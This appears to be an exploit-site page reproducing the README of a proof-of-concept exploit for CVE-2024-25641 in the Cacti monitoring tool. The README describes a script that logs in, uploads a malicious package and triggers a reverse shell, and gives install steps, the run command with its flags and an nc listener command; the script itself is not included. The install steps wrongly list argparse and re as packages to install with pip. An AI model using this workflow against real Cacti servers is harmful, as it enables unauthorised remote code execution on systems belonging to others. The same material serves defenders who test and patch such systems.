Exploit for Improper Input Validation in Cacti

## https://sploitus.com/exploit?id=EE0DEE6C-AE90-5BE7-800B-A9D88BFDF1C8
# Cacti CVE-2024-25641: Proof of Concept for Authentication Package Upload and Remote Code Execution Vulnerability (RCE)  
This script demonstrates how to exploit the CVE-2024-25641 vulnerability in Cacti, a web-based monitoring tool. The script will automatically perform authentication, upload malicious packages, and trigger a reverse shell.  

## Environment Requirements  
- Python 3.x  
- `requests` library  
- `argparse` library  
- `re` library  

You can use `pip3` to install the required Python libraries:  
```bash
pip3 install requests  
pip3 install argparse  
pip3 install re  
```

## How to Use  
Make sure that the **test.xml.gz** file and **exploit.py** are in the same directory. Then execute the following command:  
```bash
python3 exploit.py --url -u -p -i -l [--proxy]  
```

## Start the nc listener  
```bash
nc -nvlp  
```